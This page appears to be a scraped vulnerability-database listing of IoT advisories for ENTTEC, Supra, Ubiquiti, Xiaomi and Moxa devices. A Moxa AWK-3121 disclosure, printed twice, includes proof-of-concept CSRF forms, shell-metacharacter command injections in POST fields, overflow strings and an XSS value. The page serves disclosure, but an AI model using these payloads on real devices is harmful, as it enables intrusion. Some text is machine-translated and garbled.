VARIoT IoT vulnerabilities database

An issue was discovered on the ENTTEC Datagate MK2, Storm 24, Pixelator, and E-Streamer MK2 with firmware 70044_update_05032019-482. They allow high-privileged root access by www-data via sudo without requiring appropriate access control. (Furthermore, the user account that controls the web application service is granted full access to run any system commands with elevated privilege, without the need for password authentication. Should vulnerabilities be identified and exploited within the web application, it may be possible for a threat actor to create or run high-privileged binaries or executables that are available within the operating system of the device.). plural ENTTEC The product contains an access control vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. ENTTEC Datagate MK2 and so on are all products of Australian ENTTEC company. ENTTEC Datagate MK2 is a lighting controller. ENTTEC Storm 24 is an Ethernet to DMX512 converter. ENTTEC Pixelator is a pixel controller. An access control error vulnerability exists in several ENTTEC products. This vulnerability stems from network systems or products not properly restricting access to resources from unauthorized roles

An issue was discovered on the ENTTEC Datagate MK2, Storm 24, Pixelator, and E-Streamer MK2 with firmware 70044_update_05032019-482. They replace secure and protected directory permissions (set as default by the underlying operating system) with highly insecure read, write, and execute directory permissions for all users. By default, /usr/local and all of its subdirectories should have permissions set to only allow non-privileged users to read and execute from the tree structure, and to deny users from creating or editing files in this location. The ENTTEC firmware startup script permits all users to read, write, and execute (rwxrwxrwx) from the /usr, /usr/local, /usr/local/dmxis, and /usr/local/bin/ directories. plural ENTTEC The product contains a permission vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. ENTTEC Datagate MK2 and so on are all products of Australian ENTTEC company. ENTTEC Datagate MK2 is a lighting controller. ENTTEC Storm 24 is an Ethernet to DMX512 converter. ENTTEC Pixelator is a pixel controller. Authorization issue vulnerabilities exist in several ENTTEC products. This vulnerability stems from the lack of authentication measures or insufficient authentication strength in network systems or products

Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri= URI. Supra Smart Cloud TV Contains a path traversal vulnerability.Information may be altered. ZoranSupraSmartCloudTV is a smart TV from Zoran. There is a security hole in the \342\200\230openLiveURL\342\200\231 function in ZoranSupraSmartCloudTV

A number of stored XSS vulnerabilities have been identified in the web configuration feature in ENTTEC Datagate Mk2 70044_update_05032019-482 that could allow an unauthenticated threat actor to inject malicious code directly into the application. This affects, for example, the Profile Description field in JSON data to the Profile Editor. ENTTEC Datagate Mk2 Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. ENTTEC Datagate MK2 is a lighting controller produced by Australian ENTTEC company. The vulnerability stems from the lack of correct validation of client data in WEB applications. An attacker could exploit this vulnerability to execute client code

Ubiquiti UniFi 52 devices, when Hotspot mode is used, allow remote attackers to bypass intended restrictions on "free time" Wi-Fi usage by sending a /guest/s/default/ request to obtain a cookie, and then using this cookie in a /guest/s/default/login request with the byfree parameter. Ubiquiti UniFi 52 The device contains an access control vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Ubiquiti Networks Ubiquiti UniFi is a wireless network system developed by Ubiquiti Networks in the United States. A security vulnerability exists in Ubiquiti Networks Ubiquiti UniFi 52

The Security Camera CZ application through 1.6.8 for Android stores potentially sensitive recorded video in external data storage, which is readable by any application. This vulnerability stems from configuration errors in network systems or products during operation. An unauthorized attacker could exploit the vulnerability to obtain sensitive information of the affected components

Pantong Technology Co., Ltd. is a professional man-machine interface manufacturer based in Taiwan integrating R & D, production, manufacturing and sales. Pingtong HMI LIBCOMMUV2 has a dll hijacking vulnerability, which can be used by an attacker to execute malicious code.

Xiaomi ai speaker is a smart speaker product produced by Xiaomi. There is an unauthorized access vulnerability in the Xiaomi AI speaker. An attacker can use this vulnerability to control the speaker to play any remote and local audio files.

An issue was discovered on Moxa AWK-3121 1.14 devices. It is intended that an administrator can download /systemlog.log (the system log). However, the same functionality allows an attacker to download the file without any authentication or authorization. Moxa AWK-3121 The device contains an access control vulnerability.Information may be obtained. MoxaAWK-3121 is an industrial-grade wireless access point for Moxa Corporation of Taiwan, China. An access control error vulnerability exists in Moxa's AWK-31211.14 release. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. This allows an attacker who is able to execute a cross-site scripting attack to steal the cookie very easily. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. The POST parameter "srvName" is susceptible to a buffer overflow. By crafting a packet that contains a string of 516 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. The POST parameters "to1,to2,to3,to4" are all susceptible to buffer overflow. By crafting a packet that contains a string of 678 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. The device provides a web interface to allow an administrator to manage the device. However, this interface is not protected against CSRF attacks, which allows an attacker to trick an administrator into executing actions without his/her knowledge, as demonstrated by the forms/iw_webSetParameters and forms/webSetMainRestart URIs. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. The POST parameter "srvName" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. The POST parameter "iw_privatePass" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. It provides functionality so that an administrator can change the name of the device. The POST parameter "iw_board_deviceName" is susceptible to this injection. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. The POST parameter "iw_filename" is susceptible to buffer overflow. By crafting a packet that contains a string of 162 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. The POST parameter "iw_filename" is susceptible to command injection via shell metacharacters. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. The POST parameter "iw_serverip" is susceptible to buffer overflow. By crafting a packet that contains a string of 480 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on the ENTTEC Datagate MK2, Storm 24, Pixelator, and E-Streamer MK2 with firmware 70044_update_05032019-482. They include a hard-coded SSH backdoor for remote SSH and SCP access as the root user. A command in the relocate and relocate_revB scripts copies the hardcoded key to the root user's authorized_keys file, enabling anyone with the associated private key to gain remote root access to all affected products. plural ENTTEC The product contains a vulnerability related to the use of hard-coded credentials.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. ENTTEC Datagate MK2 and so on are all products of Australian ENTTEC company. ENTTEC Datagate MK2 is a lighting controller. ENTTEC Storm 24 is an Ethernet to DMX512 converter. ENTTEC Pixelator is a pixel controller. There are trust management issue vulnerabilities in several ENTTEC products. This vulnerability stems from the lack of an effective trust management mechanism in network systems or products. Attackers can use default passwords or hard-coded passwords, hard-coded certificates, etc. to attack affected components

An issue was discovered on Moxa AWK-3121 1.14 devices. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. Moxa AWK-3121 The device contains vulnerabilities related to certificate and password management.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. A trust management issue vulnerability exists in Moxa AWK-3121 version 1.14. This vulnerability stems from the lack of an effective trust management mechanism in network systems or products. Attackers can use default passwords or hard-coded passwords, hard-coded certificates, etc. to attack affected components. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). However, the same functionality allows an attacker to download the file without any authentication or authorization. ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. It provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "srvName" is susceptible to a buffer overflow. By crafting a packet that contains a string of 516 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. However, the same functionality allows an attacker to execute commands on the device. The POST parameters "to1,to2,to3,to4" are all susceptible to buffer overflow. By crafting a packet that contains a string of 678 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. The device provides a web interface to allow an administrator to manage the device. However, this interface is not protected against CSRF attacks, which allows an attacker to trick an administrator into executing actions without his/her knowledge, as demonstrated by the forms/iw_webSetParameters and forms/webSetMainRestart URIs. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "srvName" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_privatePass" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor 